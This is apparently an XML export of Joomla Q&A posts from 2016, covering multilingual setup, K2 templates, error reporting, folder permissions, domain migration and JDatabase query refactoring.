/&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Optional:&lt;/strong&gt;&lt;/em&gt; I don't like the heading &amp;quot;others&amp;quot; displaying in the glossary as all the other headings are single characters. My preference would be to change &lt;code&gt;$other = 'others';&lt;/code&gt; to &lt;code&gt;$other = '*';&lt;/code&gt; or some other special character for better visual consistency.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note 1:&lt;/strong&gt;&lt;/em&gt; If you have items that begin with other special characters in the Cyrillic alphabet besides а-џ and you want them to be indexed accordingly (as opposed to being added to the '*' group, the code will get a bit more complex. I'm in favor of writing the simplest code instead of the most globally inclusive code. However, if you have these other cases, the code will need to be expanded.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note 2:&lt;/strong&gt;&lt;/em&gt; You will want to keep a local backup of the &lt;em&gt;glossary.php&lt;/em&gt; file as it could possibly be overwritten if you update the template.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Reference:&lt;/em&gt; &lt;a href=&quot;http://www.utf8-chartable.de/unicode-utf8-table.pl?start=1024&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicode/UTF-8-character table - starting from code position 0400 (Cyrillic)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-09-06T14:47:32.193" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17804" PostTypeId="1" AcceptedAnswerId="17806" CreationDate="2016-09-06T16:45:25.123" Score="2" ViewCount="70" Body="&lt;p&gt;I'd like to set up a multi-language Joomla site. I don't want to go as far as providing multiple flavors of e.g. English or Portuguese, and I don't want to require users from all English speaking countries to select a country flag or region-specific language Tag (e.g. en-GB) in the language switcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has multi-language support, and you can download language packages - but they are region-specific. Next option was to set up a new content language but the region-neutral options I select are either unavailable or seem to collide with an existing language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my understanding, the way localization typically works is that if no region-specific versions are provided, the default 'en' locale should apply to all English-speaking users. How can I achieve this in Joomla?&lt;/p&gt;&#xA;" OwnerDisplayName="user8981" LastActivityDate="2016-11-05T21:28:52.963" Title="Combine Languages with Different Region Code" Tags="|joomla-3.x|language|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17805" PostTypeId="1" CreationDate="2016-09-06T17:16:28.107" Score="0" ViewCount="569" Body="&lt;p&gt;Got a call from a client today who suddenly had these errors on the site, on Joomla 2.5.28&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QLQlx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLQlx.png&quot; alt=&quot;Screenshot of errors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really interesting is - no one has made edits to this site in over a month, but these errors were not observed last week, and only started showing up this morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even stranger still - System error reporting was set to &lt;strong&gt;None&lt;/strong&gt;. It also appeared to have ground their K2 shop to a halt, preventing anyone from adding items to their cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled the Koowa System plugin and everything seems to be working fine, including K2, but I'm very curious as to why this happened abruptly and if there's another way to address it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this or heard of it? Does anyone know of a reason why this could happen?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="5638" LastEditDate="2016-09-07T11:12:55.230" LastActivityDate="2016-10-07T11:22:43.917" Title="Koowa suddenly throwing strict errors" Tags="|php|joomla-2.5|k2|error-reporting|koowa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17806" PostTypeId="2" ParentId="17804" CreationDate="2016-09-06T19:59:24.013" Score="1" Body="&lt;p&gt;It appears that setting the &lt;strong&gt;URL Language Code&lt;/strong&gt; in -Extensions -Languages does the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in case of English, select one of the English content languages and&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change 'Title' and 'Title Native' e.g. to 'English'&lt;/li&gt;&#xA;&lt;li&gt;Pick an available 'Language Tag' that corresponds to an installed language package (en-US, en-GB, ...).&lt;/li&gt;&#xA;&lt;li&gt;Change 'URL Language Code ' to 'en'.&lt;/li&gt;&#xA;&lt;li&gt;Chose one of the existing prefixes for the flag (you could probably create your own, supplying a corresponding image).&lt;/li&gt;&#xA;&lt;li&gt;Leave the rest as is and save.&lt;/li&gt;&#xA;&lt;li&gt;Update your content and menus to use the language - links unfortunately break.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Quickly testing this with Chrome shows that any browser with (any) English as the preferred language gets the English pages. The language switcher shows only language but not region codes - if you don't ask it to show the flags.&lt;/p&gt;&#xA;" OwnerDisplayName="user8981" LastActivityDate="2016-09-06T19:59:24.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17807" PostTypeId="2" ParentId="132" CreationDate="2016-09-06T23:09:18.953" Score="1" Body="&lt;p&gt;Late to the party. I came here looking as well as other places for a definitive guide on what folders need to be writeable for joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry folks to be the harbinger of bad news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The advice to use the permissions 755 for all directories and 644 for all folders is irresponsible at the very least&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making all your folders and files owner writeable is fine as long as the owner is not the web server (apache et al).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is common recommended practice but I can assure you its not good practice. The last piece of software you want to give the ability to write to folders is the web server itself. Its the web server that is used by hackers to take advantage of that exploit that hasn't been patched yet (or even found). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think .htaccess will save your Kevin? Forget it because you allowed the web server write access, our dear hacker friends can create their own .htaccess files giving them whatever permissions they want! like Oh I don't know Umm make .jpg files executable by the server. And you thought protecting against .php execution was going to cover your A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But make sure only the folders requiring write access actually have it. 755 and 644 for the following folders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html/images&#xA;public_html/cache&#xA;public_html/tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make sure you turn OFF .htaccess files with AllowOveride none for all writeable folders (like those above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you on shared hosting good luck as this is a configuration element you cannot control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dont think making the .htaccess file read only will help. If our hacker friends can create a new folder (they can) then they can create their own .htaccess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you running shared hosting for all that is sacred please get a clue about security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not understand security please get out of the hosting business you are making it tough for the rest of us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now back to my search for the definitive guide on folders needing write access...&lt;/p&gt;&#xA;" OwnerUserId="8982" LastActivityDate="2016-09-06T23:09:18.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17808" PostTypeId="2" ParentId="17805" CreationDate="2016-09-07T00:49:08.693" Score="1" Body="&lt;p&gt;I had a very similar thing happen with a different component after upgrading the server's PHP version from 5.4 -&gt; 5.5.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Essentially, Strict Standards warnings are not errors; they’re messages designed for developers to help troubleshoot their software and such messages don’t need to (and it’s recommended that they shouldn’t) be enabled on a production site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To remove the warnings,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Site -&gt; Global Configuration&lt;/em&gt; in the Administrator.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &lt;em&gt;Server&lt;/em&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Set &quot;Error Reporting&quot; to &quot;None&quot; and save.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you can add the following line to your &lt;em&gt;php.ini&lt;/em&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting = E_ALL &amp;amp;amp; ~E_NOTICE &amp;amp;amp; ~E_WARNING &amp;amp;amp; ~E_STRICT &amp;amp;amp; ~E_DEPRECATED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another option is to add &lt;code&gt;&amp;lt;?php error_reporting(0); ?&amp;gt;&lt;/code&gt; to the top of your template's &lt;em&gt;default.php&lt;/em&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these solutions should work until the component's creator can make it &quot;friendly&quot; with your new PHP version.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.gavick.com/documentation/joomla/strict-standards-error-fix&quot; rel=&quot;nofollow&quot;&gt;Solving the Strict Standards: Non-static method Joomla error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.balbooa.com/knowledgebase/32-documentation-faq-joomla/193-how-to-fix-strict-standards-in-joomla&quot; rel=&quot;nofollow&quot;&gt;How to Fix Strict Standards: Non-static method in Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-07T00:49:08.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17809" PostTypeId="2" ParentId="17792" CreationDate="2016-09-07T01:22:48.270" Score="0" Body="&lt;p&gt;Yes, you can link the image of an article to the article itself. This is, actually, a default property of K2. If you are wanting to do this in a category listing, make sure you have the following code in the &lt;em&gt;category_item.php&lt;/em&gt; file of your K2 template. K2 template files are typically stored in &lt;code&gt;/templates/[YOUR-THEME]/html/com_k2/templates/default&lt;/code&gt;. If you've created an alternate K2 template, then &lt;code&gt;default&lt;/code&gt; in the file path should be changed to your template name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('catItemImage') &amp;amp;&amp;amp; !empty($this-&amp;gt;item-&amp;gt;image)): ?&amp;gt;&#xA;    &amp;lt;!-- Item Image --&amp;gt;&#xA;    &amp;lt;div class=&quot;catItemImageBlock&quot;&amp;gt; &amp;lt;span class=&quot;catItemImage&quot;&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php if(!empty($this-&amp;gt;item-&amp;gt;image_caption)) echo K2HelperUtilities::cleanHtml($this-&amp;gt;item-&amp;gt;image_caption); else echo K2HelperUtilities::cleanHtml($this-&amp;gt;item-&amp;gt;title); ?&amp;gt;&quot;&amp;gt; &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php if(!empty($this-&amp;gt;item-&amp;gt;image_caption)) echo K2HelperUtilities::cleanHtml($this-&amp;gt;item-&amp;gt;image_caption); else echo K2HelperUtilities::cleanHtml($this-&amp;gt;item-&amp;gt;title); ?&amp;gt;&quot; style=&quot;width:&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;imageWidth; ?&amp;gt;px; height:auto;&quot; /&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;/span&amp;gt;&#xA;        &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will check to see if the K2 category options are set to output the K2 item's image and make sure that one has been assigned. If so, it will output the image with a link to the article on that image.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-07T01:22:48.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17810" PostTypeId="2" ParentId="17737" CreationDate="2016-09-07T05:03:29.740" Score="0" Body="&lt;p&gt;&lt;strong&gt;K2 Support:&lt;/strong&gt; According to both the &lt;a href=&quot;https://weeblr.com/frequent-questions/wbamp#community&quot; rel=&quot;nofollow&quot;&gt;Weeblr&lt;/a&gt; and &lt;a href=&quot;https://joomlaseo.com/blog/google-amp-support-in-joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! SEO&lt;/a&gt; websites, wbAMP support for K2 is added in the &quot;full&quot; version. You will have an additional plugin called &quot;K2 wbAMP support&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing the subscription version of wbAMP will, also, give you direct access to support from Weeblr. They will be much more capable of handling any future questions you have regarding their plugin.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-07T05:03:29.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17811" PostTypeId="2" ParentId="17577" CreationDate="2016-09-07T05:22:53.853" Score="1" Body="&lt;p&gt;The only way (out of the box) that K2 can dynamically create the link to the user page is to use the K2 User module. However, the &quot;Login Redirection&quot; setting uses Menu Items, only. Unfortunately, there is no K2 menu item that can be dynamically updated for the logged in user--you must set the menu item for a specific user, instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The K2 user module can be docked (fixed position) on the top so the redirection is not needed and the user can access his page from the entire site. And, with a little template customization, you could get the module to only display the link to the user's page. Doing this instead of redirecting the user every time he/she logs in may be a better solution.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://www.joomlaworks.net/forum/k2-en/37367-menu-item-link-to-k2-users-blog#132747&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaworks.net/forum/k2-en/37367-menu-item-link-to-k2-users-blog#132747&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-07T05:22:53.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17812" PostTypeId="1" AcceptedAnswerId="17813" CreationDate="2016-09-07T09:44:54.487" Score="0" ViewCount="30" Body="&lt;p&gt;I need to get an array of all the articles that have a fixed part in their ID or Name and then create a template based of them.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll create many articles that have in their ID &quot;plants&quot; ,the ID's will be (plants_1,plants_2......) and I need to get all of them and then put them in a couple of div's and everytime a new article is created it will appear on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that ?&#xA;I know some php and sql but not much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="8951" LastActivityDate="2016-09-07T09:53:51.243" Title="How to get all the articles by only knowing half of the ID or Name?" Tags="|php|templates|articles|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17813" PostTypeId="2" ParentId="17812" CreationDate="2016-09-07T09:53:51.243" Score="2" Body="&lt;p&gt;Add all your articles in a Category and create &quot;Category Blog/List&quot; menu item to show them. Any article you add into this category will be shown when you click on the menu item you created.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-09-07T09:53:51.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17814" PostTypeId="1" CreationDate="2016-09-07T10:36:15.943" Score="0" ViewCount="47" Body="&lt;p&gt;I am new to Joomla and have created a website using it. For the development purpose, I created my Joomla(3) installation as a subdirectory of my existing website. Now I want to use my production domain. when I point my new URL to the existing installation, Nothing seems to work other the homepage( [-]minus Theme Images). I cannot understand what the problem is even after googling for 3 days. Please give me some pointers and ask for any information I need to provide for you to batter understand the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8629" LastActivityDate="2016-12-07T10:11:48.950" Title="Site not working through recently added domain but works as a sub-directory of original domain" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17815" PostTypeId="2" ParentId="17413" CreationDate="2016-09-07T10:45:05.713" Score="3" Body="&lt;p&gt;You can do something similar like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app    = JFactory::getApplication();&#xA;$jinput = $app-&amp;gt;input; &#xA;$option = $jinput-&amp;gt;getCmd('option');&#xA;$view   = $jinput-&amp;gt;getCmd('view');&#xA;&#xA;if ($option==&quot;com_k2&quot; &amp;amp;&amp;amp; $view==&quot;item&quot;) &#xA;{&#xA;&#xA;    $item_id = $jinput-&amp;gt;getInt('id');&#xA;&#xA;    JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_k2/tables');&#xA;    $item = JTable::getInstance('K2Item', 'Table', array());&#xA;    $item-&amp;gt;load($item_id);&#xA;&#xA;    echo $item-&amp;gt;title;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-07T10:45:05.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17816" PostTypeId="2" ParentId="10230" CreationDate="2016-09-07T11:37:17.343" Score="9" Body="&lt;p&gt;Starting from Joomla 3.6 you can add 'property' attribute using setMetaData&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setMetaData('og:image', 'https://cdn.joomla.org/images/Joomla_logo.png', 'property');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference : &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/10682&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/10682&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-09-07T11:37:17.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17817" PostTypeId="1" CreationDate="2016-09-07T14:22:50.237" Score="3" ViewCount="913" Body="&lt;p&gt;I have installed 5 captcha plugins in my joomla site and i set any one captcha out of 5 in &lt;code&gt;com_users&lt;/code&gt; configuration in backend of joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I want to validate that captcha from client browser in registration form, &lt;b&gt;client side validation for every captcha from client browser&lt;/b&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8520" LastEditorUserId="4134" LastEditDate="2016-09-08T06:01:45.623" LastActivityDate="2016-09-08T06:01:45.623" Title="how to Validate captcha before submit a form in joomla" Tags="|javascript|joomla-3.6|validation|captcha|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17818" PostTypeId="1" AcceptedAnswerId="17887" CreationDate="2016-09-07T14:25:31.327" Score="1" ViewCount="737" Body="&lt;p&gt;I am fairly new to Joomla (using for less than a year) and I need to find a way to place a script tag before the  tag in joomla. This is for marketing (call tracking) purposes. I have seen some recommend the Flexi Code plugin/module, but I also saw it didn't give you a way to add it before the  tag. Normally, I'd add it to the template but the interesting dynamic here is that I only need it on certain pages, not all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to help me get this done, would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="8986" LastActivityDate="2016-09-14T22:47:30.187" Title="Add &lt;script&gt; tag before &lt;/body&gt; on only certain pages?" Tags="|joomla-3.x|module|plugin|extensions|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17819" PostTypeId="2" ParentId="17818" CreationDate="2016-09-07T15:31:56.327" Score="3" Body="&lt;p&gt;If you have access to your template, you can use the following code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Detecting Active Variables&#xA;$option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;$view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;$layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;$task     = $app-&amp;gt;input-&amp;gt;getCmd('task', '');&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after at the right place in the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($itemid == 544) //replace 544 by your itemid&#xA;{&#xA;?&amp;gt;&#xA;   // tracking code here&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can adapt the condition to match the page you need to track&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-09-07T15:31:56.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17820" PostTypeId="2" ParentId="17817" CreationDate="2016-09-07T20:43:35.070" Score="2" Body="&lt;p&gt;If you are using Google's reCaptcha that is the default plugin for Joomla!, the validation is done off site and a pass or fail &quot;flag&quot; is returned to your form...no further action needed from you.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-07T20:43:35.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17823" PostTypeId="2" ParentId="17814" CreationDate="2016-09-08T05:48:53.670" Score="1" Body="&lt;p&gt;Your actual Joomla installation is present on this domain &lt;code&gt;clarionit.in&lt;/code&gt; and you're trying to access it from another domain &lt;code&gt;moveonindia.in&lt;/code&gt;. All your content is stored in &lt;code&gt;Jdatabase&lt;/code&gt; including the relative &lt;code&gt;file paths&lt;/code&gt; of your content and with every new domain you will try to reach your Joomla website, the absolutes paths of these resources will vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main header image's relative path is stored in &lt;strong&gt;Jdatabase&lt;/strong&gt; as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/joomla/images/rajeshmunat.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Which means when you try to access it via &lt;code&gt;clarionit.in&lt;/code&gt; its&#xA;  path becomes:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://clarionit.in&lt;/code&gt;&lt;strong&gt;/joomla/images/rajeshmunat.png&lt;/strong&gt; which is correct.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But when you try to access it via &lt;code&gt;moveonindia.in&lt;/code&gt;, it tries to get it at:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://moveoninida.in&lt;/code&gt;&lt;strong&gt;/joomla/images/rajeshmunat.png&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;which is incorrect&lt;/strong&gt; and that's why you don't see all your images via the second domain. So you basically need to manually change the source urls of these images from your Joomla Admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of redirecting the other domain, point the second domain to your Joomla webhost's name servers. After that move all the contents of your &lt;code&gt;Joomla folder&lt;/code&gt; to the &lt;code&gt;root folder&lt;/code&gt; except the &lt;code&gt;images folder&lt;/code&gt; and you are good go.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2016-09-08T07:22:26.037" LastActivityDate="2016-09-08T07:22:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17824" PostTypeId="1" CreationDate="2016-09-08T07:16:42.257" Score="1" ViewCount="867" Body="&lt;p&gt;I have these two blocks of &lt;strong&gt;identical code&lt;/strong&gt; in one of my PHP modules. The only difference between these two blocks is that in first block it is  &lt;code&gt;... active = ' .$db-&amp;gt;q('1'));&lt;/code&gt; and in the second block its &lt;code&gt;... active = ' .$db-&amp;gt;q('0'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I make a common PHP function say &lt;strong&gt;subjectlist()&lt;/strong&gt; for both these blocks and then pass arguments &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; respectively to shorten the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in, &lt;code&gt;subjectlist(0);&lt;/code&gt; &lt;code&gt;subjectlist(1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First Block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// getting branch, semester and subject code of present classes of the teacher&#xA;&#xA;$query1 = $db-&amp;gt;getQuery(true);&#xA;$query1-&amp;gt;select('sem,code')&#xA;-&amp;gt;from('iust_teachers_classes')&#xA;-&amp;gt;where('teacher = '. $db-&amp;gt;q($user-&amp;gt;username). 'and active = ' .$db-&amp;gt;q('1'));&#xA;&#xA;$db-&amp;gt;setQuery($query1);&#xA;$sem_code = $db-&amp;gt;loadObjectlist(); &#xA;&#xA;echo &quot;&amp;lt;h3&amp;gt;List of present classes : &amp;lt;/h3&amp;gt; &amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// Loop to populate the list of all present classes of the teacher&#xA;&#xA;foreach ($sem_code as $rows) {&#xA;&#xA;   $query2 = $db-&amp;gt;getQuery(true);&#xA;   $query2-&amp;gt;select('subject')&#xA;          -&amp;gt;from('iust_subjects')&#xA;          -&amp;gt;where('sem = '. $db-&amp;gt;q($rows-&amp;gt;sem). 'and code = ' .$db-&amp;gt;q($rows-&amp;gt;code));&#xA;   $db-&amp;gt;setQuery($query2);&#xA;   $sub_list = $db-&amp;gt;loadObjectlist();&#xA;&#xA;    // echoing the active subject list&#xA;&#xA;   foreach ($sub_list as $rows) {&#xA;        echo $rows-&amp;gt;subject;&#xA;        echo &quot;&amp;lt;br&amp;gt;&quot;;     &#xA;   }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Second Block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// getting branch, semester and subject code of previous classes of the teacher&#xA;&#xA;$query3 = $db-&amp;gt;getQuery(true);&#xA;$query3-&amp;gt;select('sem,code')&#xA;       -&amp;gt;from('iust_teachers_classes')&#xA;       -&amp;gt;where('teacher = '. $db-&amp;gt;q($user-&amp;gt;username). 'and active = ' .$db-&amp;gt;q('0'));&#xA;&#xA;$db-&amp;gt;setQuery($query3);&#xA;$sem_code = $db-&amp;gt;loadObjectlist();&#xA;&#xA;echo &quot;&amp;lt;h3&amp;gt;List of previous classes : &amp;lt;/h3&amp;gt; &amp;lt;br&amp;gt;&quot;;&#xA;&#xA;// Loop to populate the list of all previous classes of the teacher&#xA;&#xA;foreach ($sem_code as $rows) {&#xA;&#xA;    $query4 = $db-&amp;gt;getQuery(true);&#xA;    $query4-&amp;gt;select('subject')&#xA;           -&amp;gt;from('iust_subjects')&#xA;           -&amp;gt;where('sem = '. $db-&amp;gt;q($rows-&amp;gt;sem). 'and code = ' .$db-&amp;gt;q($rows-&amp;gt;code));&#xA;    $db-&amp;gt;setQuery($query4);&#xA;    $sub_list = $db-&amp;gt;loadObjectlist();&#xA;&#xA;// echoing the previous subject list&#xA;&#xA;    foreach ($sub_list as $rows) {&#xA;        echo $rows-&amp;gt;subject;&#xA;        echo &quot;&amp;lt;br&amp;gt;&quot;; &#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2017-01-08T16:37:56.067" Title="PHP function with JDatabase queries" Tags="|php|mysql|jdatabase|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
